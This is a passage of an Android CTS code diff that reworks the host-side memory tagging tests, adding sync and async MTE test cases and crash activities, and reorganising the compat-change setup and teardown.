     <instrumentation
         android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="android.cts.tagging.sdk30" />
 </manifest>
-
diff --git a/hostsidetests/tagging/sdk_30/src/android/cts/tagging/sdk30/CrashActivity.java b/hostsidetests/tagging/sdk_30/src/android/cts/tagging/sdk30/CrashActivity.java
index 1e3a421..d790a4d 100644
--- a/hostsidetests/tagging/sdk_30/src/android/cts/tagging/sdk30/CrashActivity.java
+++ b/hostsidetests/tagging/sdk_30/src/android/cts/tagging/sdk30/CrashActivity.java
@@ -25,5 +25,6 @@
     public void onCreate(Bundle bundle) {
         super.onCreate(bundle);
         Utils.accessMistaggedPointer();
+        finish();
     }
 }
diff --git a/hostsidetests/tagging/sdk_30/src/android/cts/tagging/sdk30/CrashMemtagAsyncActivity.java b/hostsidetests/tagging/sdk_30/src/android/cts/tagging/sdk30/CrashMemtagAsyncActivity.java
new file mode 100644
index 0000000..7dca96b
--- /dev/null
+++ b/hostsidetests/tagging/sdk_30/src/android/cts/tagging/sdk30/CrashMemtagAsyncActivity.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.tagging.sdk30;
+
+import android.app.Activity;
+import android.cts.tagging.Utils;
+import android.os.Bundle;
+
+public class CrashMemtagAsyncActivity extends Activity {
+    @Override
+    public void onCreate(Bundle bundle) {
+        super.onCreate(bundle);
+        Utils.accessMistaggedPointer();
+        finish();
+    }
+}
diff --git a/hostsidetests/tagging/sdk_30/src/android/cts/tagging/sdk30/CrashMemtagSyncActivity.java b/hostsidetests/tagging/sdk_30/src/android/cts/tagging/sdk30/CrashMemtagSyncActivity.java
new file mode 100644
index 0000000..4136b3d2
--- /dev/null
+++ b/hostsidetests/tagging/sdk_30/src/android/cts/tagging/sdk30/CrashMemtagSyncActivity.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.tagging.sdk30;
+
+import android.app.Activity;
+import android.cts.tagging.Utils;
+import android.os.Bundle;
+
+public class CrashMemtagSyncActivity extends Activity {
+    @Override
+    public void onCreate(Bundle bundle) {
+        super.onCreate(bundle);
+        Utils.accessMistaggedPointer();
+        finish();
+    }
+}
diff --git a/hostsidetests/tagging/sdk_30/src/android/cts/tagging/sdk30/TaggingTest.java b/hostsidetests/tagging/sdk_30/src/android/cts/tagging/sdk30/TaggingTest.java
index 7341238..ef73e96 100644
--- a/hostsidetests/tagging/sdk_30/src/android/cts/tagging/sdk30/TaggingTest.java
+++ b/hostsidetests/tagging/sdk_30/src/android/cts/tagging/sdk30/TaggingTest.java
@@ -58,12 +58,30 @@
     }
 
     @Test
-    public void testMemoryTagChecksEnabled() throws Exception {
+    public void testMemoryTagSyncChecksEnabled() throws Exception {
         final DropBoxReceiver receiver =
                 new DropBoxReceiver(
                         mContext,
                         NATIVE_CRASH_TAG,
                         mContext.getPackageName() + ":CrashProcess",
+                        "SEGV_MTESERR",
+                        "backtrace:");
+        Intent intent = new Intent();
+        intent.setClass(mContext, CrashActivity.class);
+        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        mContext.startActivity(intent);
+
+        assertTrue(receiver.await());
+    }
+
+    @Test
+    public void testMemoryTagAsyncChecksEnabled() throws Exception {
+        final DropBoxReceiver receiver =
+                new DropBoxReceiver(
+                        mContext,
+                        NATIVE_CRASH_TAG,
+                        mContext.getPackageName() + ":CrashProcess",
+                        "SEGV_MTEAERR",
                         "backtrace:");
         Intent intent = new Intent();
         intent.setClass(mContext, CrashActivity.class);
@@ -77,4 +95,38 @@
     public void testMemoryTagChecksDisabled() {
         Utils.accessMistaggedPointer();
     }
+
+    @Test
+    public void testMemoryTagSyncActivityChecksEnabled() throws Exception {
+        final DropBoxReceiver receiver =
+                new DropBoxReceiver(
+                        mContext,
+                        NATIVE_CRASH_TAG,
+                        mContext.getPackageName() + ":CrashMemtagSync",
+                        "SEGV_MTESERR",
+                        "backtrace:");
+        Intent intent = new Intent();
+        intent.setClass(mContext, CrashMemtagSyncActivity.class);
+        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        mContext.startActivity(intent);
+
+        assertTrue(receiver.await());
+    }
+
+    @Test
+    public void testMemoryTagAsyncActivityChecksEnabled() throws Exception {
+        final DropBoxReceiver receiver =
+                new DropBoxReceiver(
+                        mContext,
+                        NATIVE_CRASH_TAG,
+                        mContext.getPackageName() + ":CrashMemtagAsync",
+                        "SEGV_MTEAERR",
+                        "backtrace:");
+        Intent intent = new Intent();
+        intent.setClass(mContext, CrashMemtagAsyncActivity.class);
+        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        mContext.startActivity(intent);
+
+        assertTrue(receiver.await());
+    }
 }
diff --git a/hostsidetests/tagging/src/com/android/cts/tagging/TaggingBaseTest.java b/hostsidetests/tagging/src/com/android/cts/tagging/TaggingBaseTest.java
index c5c9595..30d6841 100644
--- a/hostsidetests/tagging/src/com/android/cts/tagging/TaggingBaseTest.java
+++ b/hostsidetests/tagging/src/com/android/cts/tagging/TaggingBaseTest.java
@@ -17,11 +17,8 @@
 package com.android.cts.tagging;
 
 import android.compat.cts.CompatChangeGatingTestCase;
-
 import com.android.tradefed.device.ITestDevice;
-
 import com.google.common.collect.ImmutableSet;
-
 import java.util.Scanner;
 
 public class TaggingBaseTest extends CompatChangeGatingTestCase {
@@ -29,8 +26,7 @@
     private static final String DEVICE_KERNEL_HELPER_APK_NAME = "DeviceKernelHelpers.apk";
     private static final String DEVICE_KERNEL_HELPER_PKG_NAME = "android.cts.tagging.support";
     private static final String KERNEL_HELPER_START_COMMAND =
-            String.format(
-                    "am start -W -a android.intent.action.MAIN -n %s/.%s",
+            String.format("am start -W -a android.intent.action.MAIN -n %s/.%s",
                     DEVICE_KERNEL_HELPER_PKG_NAME, DEVICE_KERNEL_HELPER_CLASS_NAME);
 
     protected static final long NATIVE_HEAP_POINTER_TAGGING_CHANGE_ID = 135754954;
@@ -38,55 +34,81 @@
     protected static final String DEVICE_TAGGING_DISABLED_TEST_NAME = "testHeapTaggingDisabled";
     protected static final String DEVICE_TAGGING_ENABLED_TEST_NAME = "testHeapTaggingEnabled";
 
-    // Initialized in setUp(), holds whether the device that this test is running on was determined
-    // to have both requirements for tagged pointers: the correct architecture (aarch64) and the
-    // full set of kernel patches (as indicated by a successful prctl(PR_GET_TAGGED_ADDR_CTRL)).
-    protected boolean deviceSupportsTaggedPointers = false;
+    // True if test device supports ARM MTE extension.
+    protected boolean deviceSupportsMemoryTagging = false;
     // Initialized in setUp(), contains a set of pointer tagging changes that should be reported by
-    // statsd. This set contains the compat change ID for heap tagging iff the device supports
-    // tagged pointers (and is blank otherwise), as the kernel and manifest check in the zygote
-    // happens before mPlatformCompat.isChangeEnabled(), and thus there's never a statsd entry for
-    // the feature (in either the enabled or disabled state).
+    // statsd. This set contains the compat change ID for heap tagging iff we can guarantee a statsd
+    // report containing the compat change, and is empty otherwise. If the platform doesn't call
+    // mPlatformCompat.isChangeEnabled(), the statsd report doesn't contain an entry to the status
+    // of the corresponding compat feature. Compat isn't probed in a few scenarios: non-aarch64
+    // builds, if the kernel doesn't have support for tagged pointers, if the device supports MTE,
+    // or if the app has opted-out of the tagged pointers feature via. the manifest flag.
     protected ImmutableSet reportedChangeSet = ImmutableSet.of();
     // Initialized in setUp(), contains DEVICE_TAGGING_ENABLED_TEST_NAME iff the device supports
-    // tagged pointers, and DEVICE_TAGGING_DISABLED_TEST_NAME otherwise.
+    // tagged pointers, and DEVICE_TAGGING_DISABLED_TEST_NAME otherwise. Note - if MTE hardware
+    // is present, the device does not support the tagged pointers feature.
     protected String testForWhenSoftwareWantsTagging = DEVICE_TAGGING_DISABLED_TEST_NAME;
 
     @Override
     protected void setUp() throws Exception {
         installPackage(DEVICE_KERNEL_HELPER_APK_NAME, true);
-
         ITestDevice device = getDevice();
+
+        // Compat features have a very complicated truth table as to whether they can be
+        // enabled/disabled, including variants for:
+        //   - Enabling vs. disabling.
+        //   - `-userdebug` vs. "pre-release" `-user` vs. "release" `-user` builds.
+        //   - `targetSdkLevel`-gated changes vs. default-enabled vs. default-disabled.
+        //   - Debuggable vs. non-debuggable apps.
+        // We care most about compat features working correctly in the context of released `-user`
+        // builds, as these are what the customers of the compat features are most likely using. In
+        // order to ensure consistency here, we basically remove all these variables by reducing our
+        // device config permutations to a single set. All our apps are debuggable, and the
+        // following code forces the device to treat this test as a "released" `-user` build, which
+        // is the most restrictive and the most realistic w.r.t. what our users will use.
+        device.executeShellCommand(
+                "settings put global force_non_debuggable_final_build_for_compat 1");
+
+        // Kernel support for tagged pointers can only be determined on device.
+        // Deploy a helper package and observe what the kernel tells us about
+        // tagged pointers support.
         device.executeAdbCommand("logcat", "-c");
         device.executeShellCommand(KERNEL_HELPER_START_COMMAND);
-        String logs =
-                device.executeAdbCommand(
-                        "logcat",
-                        "-v",
-                        "brief",
-                        "-d",
-                        DEVICE_KERNEL_HELPER_CLASS_NAME + ":I",
-                        "*:S");
+        String logs = device.executeAdbCommand(
+                "logcat", "-v", "brief", "-d", DEVICE_KERNEL_HELPER_CLASS_NAME + ":I", "*:S");
 
+        // Holds whether the device that this test is running on was determined to have both
+        // requirements for ARM TBI: the correct architecture (aarch64) and the full set of kernel
+        // patches (as indicated by a successful prctl(PR_GET_TAGGED_ADDR_CTRL)).
+        boolean deviceHasTBI = false;
         boolean foundKernelHelperResult = false;
         Scanner in = new Scanner(logs);
         while (in.hasNextLine()) {
             String line = in.nextLine();
             if (line.contains("Kernel supports tagged pointers")) {
                 foundKernelHelperResult = true;
-                deviceSupportsTaggedPointers = line.contains("true");
+                deviceHasTBI = line.contains("true");
                 break;
             }
         }
         in.close();
-        uninstallPackage(DEVICE_KERNEL_HELPER_PKG_NAME, true);
         if (!foundKernelHelperResult) {
             throw new Exception("Failed to get a result from the kernel helper.");
         }
 
-        if (deviceSupportsTaggedPointers) {
+        deviceSupportsMemoryTagging = !runCommand("grep 'Features.* mte' /proc/cpuinfo").isEmpty();
+
+        if (deviceHasTBI && !deviceSupportsMemoryTagging) {
             reportedChangeSet = ImmutableSet.of(NATIVE_HEAP_POINTER_TAGGING_CHANGE_ID);
             testForWhenSoftwareWantsTagging = DEVICE_TAGGING_ENABLED_TEST_NAME;
         }
     }
+
+    @Override
+    protected void tearDown() throws Exception {
+        uninstallPackage(DEVICE_KERNEL_HELPER_PKG_NAME, true);
+        ITestDevice device = getDevice();
+        device.executeShellCommand(
+                "settings put global force_non_debuggable_final_build_for_compat 0");
+    }
 }
diff --git a/hostsidetests/tagging/src/com/android/cts/tagging/TaggingManifestDisabledTest.java b/hostsidetests/tagging/src/com/android/cts/tagging/TaggingManifestDisabledTest.java
index 97406c8..15c214e 100644
--- a/hostsidetests/tagging/src/com/android/cts/tagging/TaggingManifestDisabledTest.java
+++ b/hostsidetests/tagging/src/com/android/cts/tagging/TaggingManifestDisabledTest.java
@@ -19,7 +19,6 @@
 import com.google.common.collect.ImmutableSet;
 
 public class TaggingManifestDisabledTest extends TaggingBaseTest {
-
     protected static final String TEST_APK = "CtsHostsideTaggingManifestDisabledApp.apk";
     protected static final String TEST_PKG = "android.cts.tagging.disabled";
 
@@ -32,33 +31,30 @@
     @Override
     protected void tearDown() throws Exception {
         uninstallPackage(TEST_PKG, true);
+        super.tearDown();
     }
 
-    public void testDefault() throws Exception {
-        runDeviceCompatTestReported(
-                TEST_PKG,
-                DEVICE_TEST_CLASS_NAME,
+    public void testHeapTaggingCompatFeatureDefault() throws Exception {
+        runDeviceCompatTestReported(TEST_PKG, DEVICE_TEST_CLASS_NAME,
                 DEVICE_TAGGING_DISABLED_TEST_NAME,
                 /*enabledChanges*/ ImmutableSet.of(),
                 /*disabledChanges*/ ImmutableSet.of(),
                 /*reportedEnabledChanges*/ ImmutableSet.of(),
-                // No statsd report for manifest-disabled apps, see truth table in
-                // /cts/tagging/Android.bp for more information.
+                // No statsd report for manifest-disabled apps because the platform compat is never
+                // probed - see `reportedChangeSet` in TaggingBaseTest for more info.
                 /*reportedDisabledChanges*/ ImmutableSet.of());
     }
 
-    public void testCompatFeatureEnabled() throws Exception {
+    public void testHeapTaggingCompatFeatureEnabled() throws Exception {
         // Trying to force the compat feature on should fail if the manifest specifically turns the
         // feature off.
-        runDeviceCompatTestReported(
-                TEST_PKG,
-                DEVICE_TEST_CLASS_NAME,
+        runDeviceCompatTestReported(TEST_PKG, DEVICE_TEST_CLASS_NAME,
                 DEVICE_TAGGING_DISABLED_TEST_NAME,
                 /*enabledChanges*/ ImmutableSet.of(NATIVE_HEAP_POINTER_TAGGING_CHANGE_ID),
                 /*disabledChanges*/ ImmutableSet.of(),
                 /*reportedEnabledChanges*/ ImmutableSet.of(),
-                // No statsd report for manifest-disabled apps, see truth table in
-                // /cts/tagging/Android.bp for more information.
+                // No statsd report for manifest-disabled apps because the platform compat is never
+                // probed - see `reportedChangeSet` in TaggingBaseTest for more info.
                 /*reportedDisabledChanges*/ ImmutableSet.of());
     }
 }
diff --git a/hostsidetests/tagging/src/com/android/cts/tagging/TaggingManifestEnabledSdk29Test.java b/hostsidetests/tagging/src/com/android/cts/tagging/TaggingManifestEnabledSdk29Test.java
index eff9f22..2549397 100644
--- a/hostsidetests/tagging/src/com/android/cts/tagging/TaggingManifestEnabledSdk29Test.java
+++ b/hostsidetests/tagging/src/com/android/cts/tagging/TaggingManifestEnabledSdk29Test.java
@@ -19,7 +19,6 @@
 import com.google.common.collect.ImmutableSet;
 
 public class TaggingManifestEnabledSdk29Test extends TaggingBaseTest {
-
     protected static final String TEST_APK = "CtsHostsideTaggingManifestEnabledSdk29App.apk";
     protected static final String TEST_PKG = "android.cts.tagging.sdk29.manifest_enabled";
 
@@ -32,14 +31,13 @@
     @Override
     protected void tearDown() throws Exception {
         uninstallPackage(TEST_PKG, true);
+        super.tearDown();
     }
 
-    public void testDefault() throws Exception {
+    public void testHeapTaggingCompatFeatureDefault() throws Exception {
         // Even though the manifest enables tagged pointers, the targetSdkVersion still needs to be
         // >= 30.
-        runDeviceCompatTestReported(
-                TEST_PKG,
-                DEVICE_TEST_CLASS_NAME,
+        runDeviceCompatTestReported(TEST_PKG, DEVICE_TEST_CLASS_NAME,
                 DEVICE_TAGGING_DISABLED_TEST_NAME,
                 /*enabledChanges*/ ImmutableSet.of(),
                 /*disabledChanges*/ ImmutableSet.of(),
@@ -47,10 +45,9 @@
                 /*reportedDisabledChanges*/ reportedChangeSet);
     }
 
-    public void testCompatFeatureEnabled() throws Exception {
-        runDeviceCompatTestReported(
-                TEST_PKG,
-                DEVICE_TEST_CLASS_NAME,
+    public void testHeapTaggingCompatFeatureEnabled() throws Exception {
+        // We can still force the feature on though!
+        runDeviceCompatTestReported(TEST_PKG, DEVICE_TEST_CLASS_NAME,
                 testForWhenSoftwareWantsTagging,
                 /*enabledChanges*/ ImmutableSet.of(NATIVE_HEAP_POINTER_TAGGING_CHANGE_ID),
                 /*disabledChanges*/ ImmutableSet.of(),
diff --git a/hostsidetests/tagging/src/com/android/cts/tagging/TaggingManifestEnabledSdk30Test.java b/hostsidetests/tagging/src/com/android/cts/tagging/TaggingManifestEnabledSdk30Test.java
index 8834daa..ea8586e 100644
--- a/hostsidetests/tagging/src/com/android/cts/tagging/TaggingManifestEnabledSdk30Test.java
+++ b/hostsidetests/tagging/src/com/android/cts/tagging/TaggingManifestEnabledSdk30Test.java
@@ -19,7 +19,6 @@
 import com.google.common.collect.ImmutableSet;
 
 public class TaggingManifestEnabledSdk30Test extends TaggingBaseTest {
-
     protected static final String TEST_APK = "CtsHostsideTaggingManifestEnabledSdk30App.apk";
     protected static final String TEST_PKG = "android.cts.tagging.sdk30.manifest_enabled";
 
@@ -32,12 +31,11 @@
     @Override
     protected void tearDown() throws Exception {
         uninstallPackage(TEST_PKG, true);
+        super.tearDown();
     }
 
-    public void testDefault() throws Exception {
-        runDeviceCompatTestReported(
-                TEST_PKG,
-                DEVICE_TEST_CLASS_NAME,
+    public void testHeapTaggingCompatFeatureDefault() throws Exception {
+        runDeviceCompatTestReported(TEST_PKG, DEVICE_TEST_CLASS_NAME,
                 testForWhenSoftwareWantsTagging,
                 /*enabledChanges*/ ImmutableSet.of(),
                 /*disabledChanges*/ ImmutableSet.of(),
@@ -45,10 +43,8 @@
                 /*reportedDisabledChanges*/ ImmutableSet.of());
     }
 
-    public void testCompatFeatureEnabled() throws Exception {
-        runDeviceCompatTestReported(
-                TEST_PKG,
-                DEVICE_TEST_CLASS_NAME,
+    public void testHeapTaggingCompatFeatureEnabled() throws Exception {
+        runDeviceCompatTestReported(TEST_PKG, DEVICE_TEST_CLASS_NAME,
                 testForWhenSoftwareWantsTagging,
                 /*enabledChanges*/ ImmutableSet.of(NATIVE_HEAP_POINTER_TAGGING_CHANGE_ID),
                 /*disabledChanges*/ ImmutableSet.of(),
@@ -56,34 +52,15 @@
                 /*reportedDisabledChanges*/ ImmutableSet.of());
     }
 
-    public void testCompatFeatureDisabledUserdebugBuild() throws Exception {
-        // Userdebug build - check that we can force disable the compat feature at runtime.
-        if (!getDevice().getBuildFlavor().contains("userdebug")) {
-            return;
-        }
-        runDeviceCompatTestReported(
-                TEST_PKG,
-                DEVICE_TEST_CLASS_NAME,
-                DEVICE_TAGGING_DISABLED_TEST_NAME,
-                /*enabledChanges*/ ImmutableSet.of(),
-                /*disabledChanges*/ ImmutableSet.of(NATIVE_HEAP_POINTER_TAGGING_CHANGE_ID),
-                /*reportedEnabledChanges*/ ImmutableSet.of(),
-                /*reportedDisabledChanges*/ reportedChangeSet);
-    }
-
-    public void testCompatFeatureDisabledUserBuild() throws Exception {
-        // Non-userdebug build - we're not allowed to disable compat features. Check to ensure that
-        // even if we try that we still get pointer tagging.
-        if (getDevice().getBuildFlavor().contains("userdebug")) {
-            return;
-        }
-        runDeviceCompatTestReported(
-                TEST_PKG,
-                DEVICE_TEST_CLASS_NAME,
+    public void testHeapTaggingCompatFeatureDisabled() throws Exception {
+        // We're not allowed to disable compat features (see
+        // force_non_debuggable_final_build_for_compat in TaggingBaseTest for more info). Check to
+        // ensure that even if we try that we still get pointer tagging.
+        runDeviceCompatTestReported(TEST_PKG, DEVICE_TEST_CLASS_NAME,
                 testForWhenSoftwareWantsTagging,
                 /*enabledChanges*/ ImmutableSet.of(),
                 /*disabledChanges*/ ImmutableSet.of(NATIVE_HEAP_POINTER_TAGGING_CHANGE_ID),
-                /*reportedEnabledChanges*/ reportedChangeSet,
+                /*reportedEnabledChanges*/ ImmutableSet.of(),
                 /*reportedDisabledChanges*/ ImmutableSet.of());
     }
 }
diff --git a/hostsidetests/tagging/src/com/android/cts/tagging/TaggingSdk29Test.java b/hostsidetests/tagging/src/com/android/cts/tagging/TaggingSdk29Test.java
index 776433e..f6ae6cf 100644
--- a/hostsidetests/tagging/src/com/android/cts/tagging/TaggingSdk29Test.java
+++ b/hostsidetests/tagging/src/com/android/cts/tagging/TaggingSdk29Test.java
@@ -19,7 +19,6 @@
 import com.google.common.collect.ImmutableSet;
 
 public class TaggingSdk29Test extends TaggingBaseTest {
-
     protected static final String TEST_APK = "CtsHostsideTaggingSdk29App.apk";
     protected static final String TEST_PKG = "android.cts.tagging.sdk29";
 
@@ -32,12 +31,11 @@
     @Override
     protected void tearDown() throws Exception {
         uninstallPackage(TEST_PKG, true);
+        super.tearDown();
     }
 
-    public void testDefault() throws Exception {
-        runDeviceCompatTestReported(
-                TEST_PKG,
-                DEVICE_TEST_CLASS_NAME,
+    public void testHeapTaggingCompatFeatureDefault() throws Exception {
+        runDeviceCompatTestReported(TEST_PKG, DEVICE_TEST_CLASS_NAME,
                 DEVICE_TAGGING_DISABLED_TEST_NAME,
                 /*enabledChanges*/ ImmutableSet.of(),
                 /*disabledChanges*/ ImmutableSet.of(),
@@ -45,10 +43,8 @@
                 /*reportedDisabledChanges*/ reportedChangeSet);
     }
 
-    public void testCompatFeatureEnabled() throws Exception {
-        runDeviceCompatTestReported(
-                TEST_PKG,
-                DEVICE_TEST_CLASS_NAME,
+    public void testHeapTaggingCompatFeatureEnabled() throws Exception {
+        runDeviceCompatTestReported(TEST_PKG, DEVICE_TEST_CLASS_NAME,
                 testForWhenSoftwareWantsTagging,
                 /*enabledChanges*/ ImmutableSet.of(NATIVE_HEAP_POINTER_TAGGING_CHANGE_ID),
                 /*disabledChanges*/ ImmutableSet.of(),
diff --git a/hostsidetests/tagging/src/com/android/cts/tagging/TaggingSdk30Test.java b/hostsidetests/tagging/src/com/android/cts/tagging/TaggingSdk30Test.java
index 9e5a1f9..c43a015 100644
--- a/hostsidetests/tagging/src/com/android/cts/tagging/TaggingSdk30Test.java
+++ b/hostsidetests/tagging/src/com/android/cts/tagging/TaggingSdk30Test.java
@@ -19,31 +19,27 @@
 import com.google.common.collect.ImmutableSet;
 
 public class TaggingSdk30Test extends TaggingBaseTest {
-
     protected static final String TEST_APK = "CtsHostsideTaggingSdk30App.apk";
     protected static final String TEST_PKG = "android.cts.tagging.sdk30";
     private static final String TEST_RUNNER = "androidx.test.runner.AndroidJUnitRunner";
 
-    private static final long NATIVE_MEMORY_TAGGING_CHANGE_ID = 135772972;
-
-    private boolean supportsMemoryTagging;
+    private static final long NATIVE_MEMTAG_ASYNC_CHANGE_ID = 135772972;
+    private static final long NATIVE_MEMTAG_SYNC_CHANGE_ID = 177438394;
 
     @Override
     protected void setUp() throws Exception {
         super.setUp();
         installPackage(TEST_APK, true);
-        supportsMemoryTagging = !runCommand("grep 'Features.* mte' /proc/cpuinfo").isEmpty();
     }
 
     @Override
     protected void tearDown() throws Exception {
         uninstallPackage(TEST_PKG, true);
+        super.tearDown();
     }
 
-    public void testHeapTaggingDefault() throws Exception {
-        runDeviceCompatTestReported(
-                TEST_PKG,
-                DEVICE_TEST_CLASS_NAME,
+    public void testHeapTaggingCompatFeatureDefault() throws Exception {
+        runDeviceCompatTestReported(TEST_PKG, DEVICE_TEST_CLASS_NAME,
                 testForWhenSoftwareWantsTagging,
                 /*enabledChanges*/ ImmutableSet.of(),
                 /*disabledChanges*/ ImmutableSet.of(),
@@ -52,9 +48,7 @@
     }
 
     public void testHeapTaggingCompatFeatureEnabled() throws Exception {
-        runDeviceCompatTestReported(
-                TEST_PKG,
-                DEVICE_TEST_CLASS_NAME,
+        runDeviceCompatTestReported(TEST_PKG, DEVICE_TEST_CLASS_NAME,
                 testForWhenSoftwareWantsTagging,
                 /*enabledChanges*/ ImmutableSet.of(NATIVE_HEAP_POINTER_TAGGING_CHANGE_ID),
                 /*disabledChanges*/ ImmutableSet.of(),
@@ -62,52 +56,92 @@
                 /*reportedDisabledChanges*/ ImmutableSet.of());
     }
 
-    public void testCompatFeatureDisabledUserdebugBuild() throws Exception {
-        // Userdebug build - check that we can force disable the compat feature at runtime.
-        if (!getDevice().getBuildFlavor().contains("userdebug")) {
-            return;
-        }
-        runDeviceCompatTestReported(
-                TEST_PKG,
-                DEVICE_TEST_CLASS_NAME,
-                DEVICE_TAGGING_DISABLED_TEST_NAME,
-                /*enabledChanges*/ ImmutableSet.of(),
-                /*disabledChanges*/ ImmutableSet.of(NATIVE_HEAP_POINTER_TAGGING_CHANGE_ID),
-                /*reportedEnabledChanges*/ ImmutableSet.of(),
-                /*reportedDisabledChanges*/ reportedChangeSet);
-    }
-
-    public void testCompatFeatureDisabledUserBuild() throws Exception {
-        // Non-userdebug build - we're not allowed to disable compat features. Check to ensure that
-        // even if we try that we still get pointer tagging.
-        if (getDevice().getBuildFlavor().contains("userdebug")) {
-            return;
-        }
-        runDeviceCompatTestReported(
-                TEST_PKG,
-                DEVICE_TEST_CLASS_NAME,
+    public void testHeapTaggingCompatFeatureDisabled() throws Exception {
+        // We're not allowed to disable compat features (see
+        // force_non_debuggable_final_build_for_compat in TaggingBaseTest for more info). Check to
+        // ensure that even if we try that we still get pointer tagging.
+        runDeviceCompatTestReported(TEST_PKG, DEVICE_TEST_CLASS_NAME,
                 testForWhenSoftwareWantsTagging,
                 /*enabledChanges*/ ImmutableSet.of(),
                 /*disabledChanges*/ ImmutableSet.of(NATIVE_HEAP_POINTER_TAGGING_CHANGE_ID),
+                /*reportedEnabledChanges*/ ImmutableSet.of(),
+                /*reportedDisabledChanges*/ ImmutableSet.of());
+    }
+
+    public void testMemoryTagChecksSyncCompatFeatureEnabled() throws Exception {
+        if (!deviceSupportsMemoryTagging) {
+            return;
+        }
+        runDeviceCompatTest(TEST_PKG, ".TaggingTest", "testMemoryTagSyncChecksEnabled",
+                /*enabledChanges*/ ImmutableSet.of(NATIVE_MEMTAG_SYNC_CHANGE_ID),
+                /*disabledChanges*/ ImmutableSet.of());
+    }
+
+    public void testMemoryTagChecksAsyncCompatFeatureEnabled() throws Exception {
+        if (!deviceSupportsMemoryTagging) {
+            return;
+        }
+        runDeviceCompatTest(TEST_PKG, ".TaggingTest", "testMemoryTagAsyncChecksEnabled",
+                /*enabledChanges*/ ImmutableSet.of(NATIVE_MEMTAG_ASYNC_CHANGE_ID),
+                /*disabledChanges*/ ImmutableSet.of());
+    }
+
+    public void testMemoryTagChecksCompatFeatureDisabled() throws Exception {
+        if (!deviceSupportsMemoryTagging) {
+            return;
+        }
+        runDeviceCompatTest(TEST_PKG, ".TaggingTest", "testMemoryTagChecksDisabled",
+                /*enabledChanges*/ ImmutableSet.of(),
+                /*disabledChanges*/
+                ImmutableSet.of(NATIVE_MEMTAG_SYNC_CHANGE_ID, NATIVE_MEMTAG_ASYNC_CHANGE_ID));
+    }
+
+    // Ensure that enabling MTE on non-MTE hardware is a no-op. Note - No statsd report for
+    // NATIVE_HEAP_POINTER_TAGGING_CHANGE_ID. The fallback for an app that requests MTE on non-MTE
+    // hardware is an implicit TBI. Compat is never probed for the status of the heap pointer
+    // tagging feature in this instance.
+    public void testMemoryTagChecksCompatFeatureEnabledNonMTE() throws Exception {
+        if (deviceSupportsMemoryTagging) {
+            return;
+        }
+        // Tagged Pointers should still be used if the kernel/HW supports it.
+        runDeviceCompatTestReported(TEST_PKG, ".TaggingTest", testForWhenSoftwareWantsTagging,
+                /*enabledChanges*/ ImmutableSet.of(NATIVE_MEMTAG_ASYNC_CHANGE_ID),
+                /*disabledChanges*/ ImmutableSet.of(),
+                // Don't check statsd report for NATIVE_MEMTAG_ASYNC_CHANGE_ID, as on non-aarch64
+                // we never probed compat for this feature.
+                /*reportedEnabledChanges*/ ImmutableSet.of(),
+                /*reportedDisabledChanges*/ ImmutableSet.of());
+    }
+
+    // Ensure that disabling MTE on non-MTE hardware is a no-op.
+    public void testMemoryTagChecksCompatFeatureDisabledNonMTE() throws Exception {
+        if (deviceSupportsMemoryTagging) {
+            return;
+        }
+        // Tagged Pointers should still be used if the kernel/HW supports it.
+        runDeviceCompatTestReported(TEST_PKG, ".TaggingTest", testForWhenSoftwareWantsTagging,
+                /*enabledChanges*/ ImmutableSet.of(),
+                /*disabledChanges*/ ImmutableSet.of(NATIVE_MEMTAG_ASYNC_CHANGE_ID),
                 /*reportedEnabledChanges*/ reportedChangeSet,
                 /*reportedDisabledChanges*/ ImmutableSet.of());
     }
 
-    public void testMemoryTagChecksCompatFeatureEnabled() throws Exception {
-        if (!supportsMemoryTagging) {
+    public void testMemoryTagChecksSyncActivity() throws Exception {
+        if (!deviceSupportsMemoryTagging) {
             return;
         }
-        runDeviceCompatTest(TEST_PKG, ".TaggingTest", "testMemoryTagChecksEnabled",
-                /*enabledChanges*/ ImmutableSet.of(NATIVE_MEMORY_TAGGING_CHANGE_ID),
-                /*disabledChanges*/ImmutableSet.of());
+        runDeviceCompatTest(TEST_PKG, ".TaggingTest", "testMemoryTagSyncActivityChecksEnabled",
+                /*enabledChanges*/ ImmutableSet.of(),
+                /*disabledChanges*/ ImmutableSet.of());
     }
 
-    public void testMemoryTagChecksCompatFeatureDisabled() throws Exception {
-        if (!supportsMemoryTagging) {
+    public void testMemoryTagChecksAsyncActivity() throws Exception {
+        if (!deviceSupportsMemoryTagging) {
             return;
         }
-        runDeviceCompatTest(TEST_PKG, ".TaggingTest", "testMemoryTagChecksDisabled",
-                /*enabledChanges*/ImmutableSet.of(),
-                /*disabledChanges*/ ImmutableSet.of(NATIVE_MEMORY_TAGGING_CHANGE_ID));
+        runDeviceCompatTest(TEST_PKG, ".TaggingTest", "testMemoryTagAsyncActivityChecksEnabled",
+                /*enabledChanges*/ ImmutableSet.of(),
+                /*disabledChanges*/ ImmutableSet.of());
     }
 }
diff --git a/hostsidetests/telephony/Android.bp b/hostsidetests/telephony/Android.bp
index b3d0084..adddc00 100644
--- a/hostsidetests/telephony/Android.bp
+++ b/hostsidetests/telephony/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
